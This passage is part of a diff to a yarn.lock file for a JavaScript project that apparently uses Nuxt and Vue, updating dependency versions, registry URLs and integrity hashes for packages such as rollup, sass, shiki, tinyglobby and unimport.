   resolved "https://registry.yarnpkg.com/rehype-raw/-/rehype-raw-7.0.0.tgz#59d7348fd5dbef3807bbaa1d443efd2dd85ecee4"
@@ -10748,6 +10859,17 @@ rehype-raw@^7.0.0:
     hast-util-raw "^9.0.0"
     vfile "^6.0.0"
 
+rehype-remark@^10.0.0:
+  version "10.0.0"
+  resolved "https://registry.yarnpkg.com/rehype-remark/-/rehype-remark-10.0.0.tgz#de15bf1f920ce519291848cd0d99aabaad44cf71"
+  integrity sha512-+aDXY/icqMFOafJQomVjxe3BAP7aR3lIsQ3GV6VIwpbCD2nvNFOXjGvotMe5p0Ny+Gt6L13DhEf/FjOOpTuUbQ==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    "@types/mdast" "^4.0.0"
+    hast-util-to-mdast "^10.0.0"
+    unified "^11.0.0"
+    vfile "^6.0.0"
+
 rehype-slug@^6.0.0:
   version "6.0.0"
   resolved "https://registry.yarnpkg.com/rehype-slug/-/rehype-slug-6.0.0.tgz#1d21cf7fc8a83ef874d873c15e6adaee6344eaf1"
@@ -10799,7 +10921,7 @@ remark-gfm@^4.0.0:
     remark-stringify "^11.0.0"
     unified "^11.0.0"
 
-remark-mdc@^3.4.0:
+remark-mdc@^3.5.2, remark-mdc@latest:
   version "3.5.3"
   resolved "https://registry.yarnpkg.com/remark-mdc/-/remark-mdc-3.5.3.tgz#04355f84eb94801643b822249975d7b6b2f23043"
   integrity sha512-XmIAhEYBCtDvGjvLfyCtF8Bj1Uey9v3JD2f9WutM32Xfy9Uif3vPqJtg9n2whwIsXBtD+nvK+bEBt0zrq1DqtA==
@@ -10929,32 +11051,32 @@ rollup-plugin-visualizer@^5.12.0, rollup-plugin-visualizer@^5.13.1:
     source-map "^0.7.4"
     yargs "^17.5.1"
 
-rollup@^4.20.0, rollup@^4.24.3, rollup@^4.30.1:
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/rollup/-/rollup-4.34.6.tgz#a07e4d2621759e29034d909655e7a32eee9195c9"
-  integrity sha512-wc2cBWqJgkU3Iz5oztRkQbfVkbxoz5EhnCGOrnJvnLnQ7O0WhQUYyv18qQI79O8L7DdHrrlJNeCHd4VGpnaXKQ==
+rollup@^4.24.3, rollup@^4.30.1:
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/rollup/-/rollup-4.34.8.tgz#e859c1a51d899aba9bcf451d4eed1d11fb8e2a6e"
+  integrity sha512-489gTVMzAYdiZHFVA/ig/iYFllCcWFHMvUHI1rpFmkoUtRlQxqh6/yiNqnYibjMZ2b/+FUQwldG+aLsEt6bglQ==
   dependencies:
     "@types/estree" "1.0.6"
   optionalDependencies:
-    "@rollup/rollup-android-arm-eabi" "4.34.6"
-    "@rollup/rollup-android-arm64" "4.34.6"
-    "@rollup/rollup-darwin-arm64" "4.34.6"
-    "@rollup/rollup-darwin-x64" "4.34.6"
-    "@rollup/rollup-freebsd-arm64" "4.34.6"
-    "@rollup/rollup-freebsd-x64" "4.34.6"
-    "@rollup/rollup-linux-arm-gnueabihf" "4.34.6"
-    "@rollup/rollup-linux-arm-musleabihf" "4.34.6"
-    "@rollup/rollup-linux-arm64-gnu" "4.34.6"
-    "@rollup/rollup-linux-arm64-musl" "4.34.6"
-    "@rollup/rollup-linux-loongarch64-gnu" "4.34.6"
-    "@rollup/rollup-linux-powerpc64le-gnu" "4.34.6"
-    "@rollup/rollup-linux-riscv64-gnu" "4.34.6"
-    "@rollup/rollup-linux-s390x-gnu" "4.34.6"
-    "@rollup/rollup-linux-x64-gnu" "4.34.6"
-    "@rollup/rollup-linux-x64-musl" "4.34.6"
-    "@rollup/rollup-win32-arm64-msvc" "4.34.6"
-    "@rollup/rollup-win32-ia32-msvc" "4.34.6"
-    "@rollup/rollup-win32-x64-msvc" "4.34.6"
+    "@rollup/rollup-android-arm-eabi" "4.34.8"
+    "@rollup/rollup-android-arm64" "4.34.8"
+    "@rollup/rollup-darwin-arm64" "4.34.8"
+    "@rollup/rollup-darwin-x64" "4.34.8"
+    "@rollup/rollup-freebsd-arm64" "4.34.8"
+    "@rollup/rollup-freebsd-x64" "4.34.8"
+    "@rollup/rollup-linux-arm-gnueabihf" "4.34.8"
+    "@rollup/rollup-linux-arm-musleabihf" "4.34.8"
+    "@rollup/rollup-linux-arm64-gnu" "4.34.8"
+    "@rollup/rollup-linux-arm64-musl" "4.34.8"
+    "@rollup/rollup-linux-loongarch64-gnu" "4.34.8"
+    "@rollup/rollup-linux-powerpc64le-gnu" "4.34.8"
+    "@rollup/rollup-linux-riscv64-gnu" "4.34.8"
+    "@rollup/rollup-linux-s390x-gnu" "4.34.8"
+    "@rollup/rollup-linux-x64-gnu" "4.34.8"
+    "@rollup/rollup-linux-x64-musl" "4.34.8"
+    "@rollup/rollup-win32-arm64-msvc" "4.34.8"
+    "@rollup/rollup-win32-ia32-msvc" "4.34.8"
+    "@rollup/rollup-win32-x64-msvc" "4.34.8"
     fsevents "~2.3.2"
 
 roughjs@^4.6.6:
@@ -11000,16 +11122,16 @@ safe-buffer@~5.1.0, safe-buffer@~5.1.1:
   integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
 
 sass-loader@^16.0.0:
-  version "16.0.4"
-  resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-16.0.4.tgz#5c2afb755fbc0a45a004369efa11579518a39a45"
-  integrity sha512-LavLbgbBGUt3wCiYzhuLLu65+fWXaXLmq7YxivLhEqmiupCFZ5sKUAipK3do6V80YSU0jvSxNhEdT13IXNr3rg==
+  version "16.0.5"
+  resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-16.0.5.tgz#257bc90119ade066851cafe7f2c3f3504c7cda98"
+  integrity sha512-oL+CMBXrj6BZ/zOq4os+UECPL+bWqt6OAC6DWS8Ln8GZRcMDjlJ4JC3FBDuHJdYaFWIdKNIBYmtZtK2MaMkNIw==
   dependencies:
     neo-async "^2.6.2"
 
 sass@^1.77.8:
-  version "1.84.0"
-  resolved "https://registry.yarnpkg.com/sass/-/sass-1.84.0.tgz#da9154cbccb2d2eac7a9486091b6d9ba93ef5bad"
-  integrity sha512-XDAbhEPJRxi7H0SxrnOpiXFQoUJHwkR2u3Zc4el+fK/Tt5Hpzw5kkQ59qVDfvdaUq6gCrEZIbySFBM2T9DNKHg==
+  version "1.85.0"
+  resolved "https://registry.yarnpkg.com/sass/-/sass-1.85.0.tgz#0127ef697d83144496401553f0a0e87be83df45d"
+  integrity sha512-3ToiC1xZ1Y8aU7+CkgCI/tqyuPXEmYGJXO7H4uqp0xkLXUqp88rQQ4j1HmP37xSJLbCJPaIiv+cT1y+grssrww==
   dependencies:
     chokidar "^4.0.0"
     immutable "^5.0.2"
@@ -11070,9 +11192,9 @@ scule@^1.1.1, scule@^1.3.0:
   integrity sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g==
 
 semantic-release@^24.2.0:
-  version "24.2.2"
-  resolved "https://registry.yarnpkg.com/semantic-release/-/semantic-release-24.2.2.tgz#3f25f3506b1c9649e11ca56cc4a8caee63d095d1"
-  integrity sha512-f1PLgDKbSrZ1i1jFgHO/qJavv0SSZgahJdusPH0eUkWXcm0qYHAr1qFFC69ELYVCPzLUd5UZJuhEaQP/QOd1jw==
+  version "24.2.3"
+  resolved "https://registry.yarnpkg.com/semantic-release/-/semantic-release-24.2.3.tgz#fd5ac3b0c27fa7bd994eb89eacc26fa385caa1a6"
+  integrity sha512-KRhQG9cUazPavJiJEFIJ3XAMjgfd0fcK3B+T26qOl8L0UG5aZUjeRfREO0KM5InGtYwxqiiytkJrbcYoLDEv0A==
   dependencies:
     "@semantic-release/commit-analyzer" "^13.0.0-beta.1"
     "@semantic-release/error" "^4.0.0"
@@ -11126,7 +11248,7 @@ semver@^6.0.0, semver@^6.3.1:
   resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
   integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
 
-semver@^7.1.1, semver@^7.1.2, semver@^7.3.2, semver@^7.3.4, semver@^7.3.5, semver@^7.3.6, semver@^7.3.7, semver@^7.5.2, semver@^7.5.3, semver@^7.5.4, semver@^7.6.0, semver@^7.6.1, semver@^7.6.2, semver@^7.6.3:
+semver@^7.1.1, semver@^7.1.2, semver@^7.3.2, semver@^7.3.4, semver@^7.3.5, semver@^7.3.6, semver@^7.3.7, semver@^7.5.2, semver@^7.5.3, semver@^7.5.4, semver@^7.6.0, semver@^7.6.1, semver@^7.6.2, semver@^7.6.3, semver@^7.7.1:
   version "7.7.1"
   resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.1.tgz#abd5098d82b18c6c81f6074ff2647fd3e7220c9f"
   integrity sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==
@@ -11222,7 +11344,7 @@ shiki@1.22.0:
     "@shikijs/vscode-textmate" "^9.3.0"
     "@types/hast" "^3.0.4"
 
-shiki@^1.22.0, shiki@^1.23.1:
+shiki@^1.27.2:
   version "1.29.2"
   resolved "https://registry.yarnpkg.com/shiki/-/shiki-1.29.2.tgz#5c93771f2d5305ce9c05975c33689116a27dc657"
   integrity sha512-njXuliz/cP+67jU2hukkxCNuH1yUi4QfdZZY+sMr5PPrIyXSu5iTb/qYC4BiWWB0vZ+7TbdvYUCeL23zpwCfbg==
@@ -11236,6 +11358,20 @@ shiki@^1.22.0, shiki@^1.23.1:
     "@shikijs/vscode-textmate" "^10.0.1"
     "@types/hast" "^3.0.4"
 
+shiki@^2.5.0:
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/shiki/-/shiki-2.5.0.tgz#09d01ebf3b0b06580431ce3ddc023320442cf223"
+  integrity sha512-mI//trrsaiCIPsja5CNfsyNOqgAZUb6VpJA+340toL42UpzQlXpwRV9nch69X6gaUxrr9kaOOa6e3y3uAkGFxQ==
+  dependencies:
+    "@shikijs/core" "2.5.0"
+    "@shikijs/engine-javascript" "2.5.0"
+    "@shikijs/engine-oniguruma" "2.5.0"
+    "@shikijs/langs" "2.5.0"
+    "@shikijs/themes" "2.5.0"
+    "@shikijs/types" "2.5.0"
+    "@shikijs/vscode-textmate" "^10.0.2"
+    "@types/hast" "^3.0.4"
+
 signal-exit@^3.0.7:
   version "3.0.7"
   resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
@@ -11297,10 +11433,10 @@ simple-swizzle@^0.2.2:
   dependencies:
     is-arrayish "^0.3.1"
 
-sirv@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/sirv/-/sirv-3.0.0.tgz#f8d90fc528f65dff04cb597a88609d4e8a4361ce"
-  integrity sha512-BPwJGUeDaDCHihkORDchNyyTvWFhcusy1XMmhEVTQTwGeybFbp8YEmB+njbPnth1FibULBSBVwCQni25XlCUDg==
+sirv@^3.0.0, sirv@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/sirv/-/sirv-3.0.1.tgz#32a844794655b727f9e2867b777e0060fbe07bf3"
+  integrity sha512-FoqMu0NCGBLCcAkS1qA+XJIQTR6/JHfQXl+uGteNCQ76T91DMUjPa9xfmeqMY3z80nLSg9yQmNjK0Px6RWsH/A==
   dependencies:
     "@polka/url" "^1.0.0-next.24"
     mrmime "^2.0.0"
@@ -11311,10 +11447,10 @@ sisteransi@^1.0.5:
   resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
   integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
 
-site-config-stack@3.0.6:
-  version "3.0.6"
-  resolved "https://registry.yarnpkg.com/site-config-stack/-/site-config-stack-3.0.6.tgz#541f538ec84ae773f7efc4d31f7a34ef595b8f87"
-  integrity sha512-lqNI6Xvbwf4NBFqGJ1gNUIe12SOYw8YOuhrbl52JTVwBgtZZzXYh/ZQAwBHwXC7pxULvfIPUd8AJA35WtqU5YA==
+site-config-stack@3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/site-config-stack/-/site-config-stack-3.1.0.tgz#8dd93ff8982784cc2cc5de5f9eaf3a3451cd069f"
+  integrity sha512-Y7Abf+tPz9XmEGzXNHwIZPSipTeDwneJkyBWOqjzj/gxMRETL9wnRhCWvHBJxxmPfPewhUkrJHi9wK9TeJFRHQ==
   dependencies:
     ufo "^1.5.4"
 
@@ -11355,7 +11491,7 @@ smob@^1.0.0:
   resolved "https://registry.yarnpkg.com/smob/-/smob-1.5.0.tgz#85d79a1403abf128d24d3ebc1cdc5e1a9548d3ab"
   integrity sha512-g6T+p7QO8npa+/hNx9ohv1E5pVCmWrVCUzUXJyLdMmftX6ER0oiWY/w9knEonLpnOp6b6FenKnMfR8gqwWdwig==
 
-socket.io-client@^4.8.0:
+socket.io-client@^4.8.1:
   version "4.8.1"
   resolved "https://registry.yarnpkg.com/socket.io-client/-/socket.io-client-4.8.1.tgz#1941eca135a5490b94281d0323fe2a35f6f291cb"
   integrity sha512-hJVXfu3E28NmzGk8o1sHhN3om52tRvwYeidbj7xKy2eIIse5IoKX3USlS6Tqt3BHAtflLIkCQBkzVrEEfWUyYQ==
@@ -11532,7 +11668,16 @@ streamx@^2.15.0, streamx@^2.21.0:
   optionalDependencies:
     bare-events "^2.2.0"
 
-"string-width-cjs@npm:string-width@^4.2.0", string-width@4.2.3, string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3, string-width@^5.0.1, string-width@^5.1.2:
+"string-width-cjs@npm:string-width@^4.2.0":
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string-width@4.2.3, string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3, string-width@^5.0.1, string-width@^5.1.2:
   version "4.2.3"
   resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
   integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
@@ -11568,7 +11713,14 @@ stringify-entities@^4.0.0, stringify-entities@^4.0.4:
     character-entities-html4 "^2.0.0"
     character-entities-legacy "^3.0.0"
 
-"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
   version "6.0.1"
   resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
   integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
@@ -11835,9 +11987,9 @@ tempy@^3.0.0:
     unique-string "^3.0.0"
 
 terser@^5.17.4:
-  version "5.38.1"
-  resolved "https://registry.yarnpkg.com/terser/-/terser-5.38.1.tgz#a18d83c8acf3175e847ab0b66839f3c318167c58"
-  integrity sha512-GWANVlPM/ZfYzuPHjq0nxT+EbOEDDN3Jwhwdg1D8TU8oSkktp8w64Uq4auuGLxFSoNTRDncTq2hQHX1Ld9KHkA==
+  version "5.39.0"
+  resolved "https://registry.yarnpkg.com/terser/-/terser-5.39.0.tgz#0e82033ed57b3ddf1f96708d123cca717d86ca3a"
+  integrity sha512-LBAhFyLho16harJoWMg/nZsQYgTrg5jXOn2nCYjRUcZZEdE3qa2zb8QEDRUGVZBW4rlazf2fxkg8tztybTaqWw==
   dependencies:
     "@jridgewell/source-map" "^0.3.3"
     acorn "^8.8.2"
@@ -11912,7 +12064,7 @@ tinyexec@^0.3.1, tinyexec@^0.3.2:
   resolved "https://registry.yarnpkg.com/tinyexec/-/tinyexec-0.3.2.tgz#941794e657a85e496577995c6eef66f53f42b3d2"
   integrity sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==
 
-tinyglobby@0.2.10, tinyglobby@^0.2.10:
+tinyglobby@0.2.10:
   version "0.2.10"
   resolved "https://registry.yarnpkg.com/tinyglobby/-/tinyglobby-0.2.10.tgz#e712cf2dc9b95a1f5c5bbd159720e15833977a0f"
   integrity sha512-Zc+8eJlFMvgatPZTl6A9L/yht8QqdmUNtURHaKZLmKBE12hNPSrqNkUp2cs3M/UKmNVVAMFQYSjYIVHDjW5zew==
@@ -11920,6 +12072,14 @@ tinyglobby@0.2.10, tinyglobby@^0.2.10:
     fdir "^6.4.2"
     picomatch "^4.0.2"
 
+tinyglobby@^0.2.10, tinyglobby@^0.2.11:
+  version "0.2.12"
+  resolved "https://registry.yarnpkg.com/tinyglobby/-/tinyglobby-0.2.12.tgz#ac941a42e0c5773bd0b5d08f32de82e74a1a61b5"
+  integrity sha512-qkf4trmKSIiMTs/E63cxH+ojC2unam7rJ0WrauAzpT3ECNTxGRMlaXxVbfxMUC/w0LaYk6jQ4y/nGR9uBO3tww==
+  dependencies:
+    fdir "^6.4.3"
+    picomatch "^4.0.2"
+
 to-regex-range@^5.0.1:
   version "5.0.1"
   resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
@@ -11962,6 +12122,11 @@ trim-lines@^3.0.0:
   resolved "https://registry.yarnpkg.com/trim-lines/-/trim-lines-3.0.1.tgz#d802e332a07df861c48802c04321017b1bd87338"
   integrity sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==
 
+trim-trailing-lines@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/trim-trailing-lines/-/trim-trailing-lines-2.1.0.tgz#9aac7e89b09cb35badf663de7133c6de164f86df"
+  integrity sha512-5UR5Biq4VlVOtzqkm2AZlgvSlDJtME46uV0br0gENbwN4l5+mMKT4b9gJKqWtuL2zAIqajGJGuvbCbcAJUZqBg==
+
 trough@^2.0.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/trough/-/trough-2.2.0.tgz#94a60bd6bd375c152c1df911a4b11d5b0256f50f"
@@ -11988,11 +12153,11 @@ tslib@^2.6.2, tslib@^2.6.3, tslib@^2.8.0:
   integrity sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==
 
 tsx@^4.19.2:
-  version "4.19.2"
-  resolved "https://registry.yarnpkg.com/tsx/-/tsx-4.19.2.tgz#2d7814783440e0ae42354d0417d9c2989a2ae92c"
-  integrity sha512-pOUl6Vo2LUq/bSa8S5q7b91cgNSjctn9ugq/+Mvow99qW6x/UZYwzxy/3NmqoT66eHYfCVvFvACC58UBPFf28g==
+  version "4.19.3"
+  resolved "https://registry.yarnpkg.com/tsx/-/tsx-4.19.3.tgz#2bdbcb87089374d933596f8645615142ed727666"
+  integrity sha512-4H8vUNGNjQ4V2EOoGw005+c+dGuPSnhpPBPHBtsZdGZBk/iJb4kguGlPWaZTZ3q5nMtFOEsY0nRDlh9PJyd6SQ==
   dependencies:
-    esbuild "~0.23.0"
+    esbuild "~0.25.0"
     get-tsconfig "^4.7.5"
   optionalDependencies:
     fsevents "~2.3.3"
@@ -12051,16 +12216,16 @@ type-fest@^2.12.2:
   integrity sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==
 
 type-fest@^4.18.2, type-fest@^4.6.0, type-fest@^4.7.1:
-  version "4.34.1"
-  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-4.34.1.tgz#406a9c573cc51c3fbfee3c85742cf85c52860076"
-  integrity sha512-6kSc32kT0rbwxD6QL1CYe8IqdzN/J/ILMrNK+HMQCKH3insCDRY/3ITb0vcBss0a3t72fzh2YSzj8ko1HgwT3g==
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-4.35.0.tgz#007ed74d65c2ca0fb3b564b3dc8170d5c872d665"
+  integrity sha512-2/AwEFQDFEy30iOLjrvHDIH7e4HEWH+f1Yl1bI5XMqzuoCUqwYCdxachgsgv0og/JdVZUhbfjcJAoHj5L1753A==
 
 type-level-regexp@~0.1.17:
   version "0.1.17"
   resolved "https://registry.yarnpkg.com/type-level-regexp/-/type-level-regexp-0.1.17.tgz#ec1bf7dd65b85201f9863031d6f023bdefc2410f"
   integrity sha512-wTk4DH3cxwk196uGLK/E9pE45aLfeKJacKmcEgEOA/q5dnPGNxXt0cfYdFxb57L+sEpf1oJH4Dnx/pnRcku9jg==
 
-typescript@^5.5.0:
+typescript@^5.5.0, typescript@^5.7.3:
   version "5.7.3"
   resolved "https://registry.yarnpkg.com/typescript/-/typescript-5.7.3.tgz#919b44a7dbb8583a9b856d162be24a54bf80073e"
   integrity sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==
@@ -12130,14 +12295,14 @@ unenv@^1.10.0:
     node-fetch-native "^1.6.4"
     pathe "^1.1.2"
 
-unhead@1.11.18, unhead@^1.11.18:
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/unhead/-/unhead-1.11.18.tgz#a89b78262ac6aae3130cb64e3a93d0bd56c40115"
-  integrity sha512-TWgGUoZMpYe2yJwY6jZ0/9kpQT18ygr2h5lI6cUXdfD9UzDc0ytM9jGaleSYkj9guJWXkk7izYBnzJvxl8mRvQ==
+unhead@1.11.19, unhead@^1.11.18:
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/unhead/-/unhead-1.11.19.tgz#6cd72282cac946f609456add6232038ea35747b6"
+  integrity sha512-O5AYb3+xUOzBlwDmPfC/DgGp9rDMoGkB4gFkhoaz8IonQqP8W8qqetxYf5ZyEdntvXnFsMWS8lZF//5176xo6Q==
   dependencies:
-    "@unhead/dom" "1.11.18"
-    "@unhead/schema" "1.11.18"
-    "@unhead/shared" "1.11.18"
+    "@unhead/dom" "1.11.19"
+    "@unhead/schema" "1.11.19"
+    "@unhead/shared" "1.11.19"
     hookable "^5.5.3"
 
 unhead@1.11.9:
@@ -12202,7 +12367,7 @@ unifont@^0.1.6:
     css-tree "^3.0.0"
     ohash "^1.1.4"
 
-unimport@^3.11.1, unimport@^3.13.0, unimport@^3.13.1, unimport@^3.14.5, unimport@^3.14.6:
+unimport@^3.11.1, unimport@^3.13.0, unimport@^3.13.1, unimport@^3.14.5:
   version "3.14.6"
   resolved "https://registry.yarnpkg.com/unimport/-/unimport-3.14.6.tgz#f01170aa2fb94c4f97b22c0ac2822ef7e8e0726d"
   integrity sha512-CYvbDaTT04Rh8bmD8jz3WPmHYZRG/NnvYVzwD6V1YAlvvKROlAeNDUBhkBGzNav2RKaeuXvlWYaa1V4Lfi/O0g==
@@ -12223,24 +12388,24 @@ unimport@^3.11.1, unimport@^3.13.0, unimport@^3.13.1, unimport@^3.14.5, unimport
     unplugin "^1.16.1"
 
 unimport@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/unimport/-/unimport-4.1.0.tgz#e94e75887b6deed687624dc05f937515756f1121"
-  integrity sha512-y5ZYDG+j7IB45+Y6CIkWIKou4E1JFigCUw6vI+h15HdYAKmT0oQWcawnxXuwJG8srJyXhIZuWz5uXB1MQ/ARZw==
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/unimport/-/unimport-4.1.2.tgz#10ba452519ec23113c1e68b8e9ab26c307a6eebd"
+  integrity sha512-oVUL7PSlyVV3QRhsdcyYEMaDX8HJyS/CnUonEJTYA3//bWO+o/4gG8F7auGWWWkrrxBQBYOO8DKe+C53ktpRXw==
   dependencies:
     acorn "^8.14.0"
     escape-string-regexp "^5.0.0"
     estree-walker "^3.0.3"
-    fast-glob "^3.3.3"
     local-pkg "^1.0.0"
     magic-string "^0.30.17"
     mlly "^1.7.4"
-    pathe "^2.0.2"
+    pathe "^2.0.3"
     picomatch "^4.0.2"
     pkg-types "^1.3.1"
     scule "^1.3.0"
     strip-literal "^3.0.0"
-    unplugin "^2.1.2"
-    unplugin-utils "^0.2.3"
+    tinyglobby "^0.2.11"
+    unplugin "^2.2.0"
+    unplugin-utils "^0.2.4"
 
 unique-filename@^4.0.0:
   version "4.0.0"
@@ -12270,6 +12435,14 @@ unist-builder@^4.0.0:
   dependencies:
     "@types/unist" "^3.0.0"
 
+unist-util-find-after@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/unist-util-find-after/-/unist-util-find-after-5.0.0.tgz#3fccc1b086b56f34c8b798e1ff90b5c54468e896"
+  integrity sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==
+  dependencies:
+    "@types/unist" "^3.0.0"
+    unist-util-is "^6.0.0"
+
 unist-util-is@^6.0.0:
   version "6.0.0"
   resolved "https://registry.yarnpkg.com/unist-util-is/-/unist-util-is-6.0.0.tgz#b775956486aff107a9ded971d996c173374be424"
@@ -12353,15 +12526,15 @@ unplugin-ast@^0.13.1:
     unplugin "^2.1.2"
     unplugin-utils "^0.2.0"
 
-unplugin-utils@^0.2.0, unplugin-utils@^0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/unplugin-utils/-/unplugin-utils-0.2.3.tgz#3e30a2c58d0a4e510431990aa1156b0c43d6b6de"
-  integrity sha512-unB2e2ogZwEoMw/X0Gq1vj2jaRKLmTh9wcSEJggESPllcrZI68uO7B8ykixbXqsSwG8r9T7qaHZudXIC/3qvhw==
+unplugin-utils@^0.2.0, unplugin-utils@^0.2.4:
+  version "0.2.4"
+  resolved "https://registry.yarnpkg.com/unplugin-utils/-/unplugin-utils-0.2.4.tgz#56e4029a6906645a10644f8befc404b06d5d24d0"
+  integrity sha512-8U/MtpkPkkk3Atewj1+RcKIjb5WBimZ/WSLhhR3w6SsIj8XJuKTacSP8g+2JhfSGw0Cb125Y+2zA/IzJZDVbhA==
   dependencies:
     pathe "^2.0.2"
     picomatch "^4.0.2"
 
-unplugin-vue-router@^0.10.9:
+unplugin-vue-router@^0.10.8:
   version "0.10.9"
   resolved "https://registry.yarnpkg.com/unplugin-vue-router/-/unplugin-vue-router-0.10.9.tgz#7a806275214993f6e67f666430fa637bb6e84181"
   integrity sha512-DXmC0GMcROOnCmN56GRvi1bkkG1BnVs4xJqNvucBUeZkmB245URvtxOfbo3H6q4SOUQQbLPYWd6InzvjRh363A==
@@ -12381,6 +12554,26 @@ unplugin-vue-router@^0.10.9:
     unplugin "2.0.0-beta.1"
     yaml "^2.6.1"
 
+unplugin-vue-router@^0.11.2:
+  version "0.11.2"
+  resolved "https://registry.yarnpkg.com/unplugin-vue-router/-/unplugin-vue-router-0.11.2.tgz#d259bab2dbb0c3c2f55cb21cf9a773091ee8886a"
+  integrity sha512-X8BbQ3BNnMqaCYeMj80jtz5jC4AB0jcpdmECIYey9qKm6jy/upaPZ/WzfuT+iTGRiQAY4WemHueXxuzH127oOg==
+  dependencies:
+    "@babel/types" "^7.26.5"
+    "@rollup/pluginutils" "^5.1.4"
+    "@vue-macros/common" "^1.16.1"
+    ast-walker-scope "^0.6.2"
+    chokidar "^3.6.0"
+    fast-glob "^3.3.3"
+    json5 "^2.2.3"
+    local-pkg "^1.0.0"
+    magic-string "^0.30.17"
+    mlly "^1.7.4"
+    pathe "^2.0.2"
+    scule "^1.3.0"
+    unplugin "2.1.2"
+    yaml "^2.7.0"
+
 unplugin@2.0.0-beta.1:
   version "2.0.0-beta.1"
   resolved "https://registry.yarnpkg.com/unplugin/-/unplugin-2.0.0-beta.1.tgz#3f8c9ecfae03fc9e22d9821ba68d52aa46a13aeb"
@@ -12389,6 +12582,14 @@ unplugin@2.0.0-beta.1:
     acorn "^8.14.0"
     webpack-virtual-modules "^0.6.2"
 
+unplugin@2.1.2:
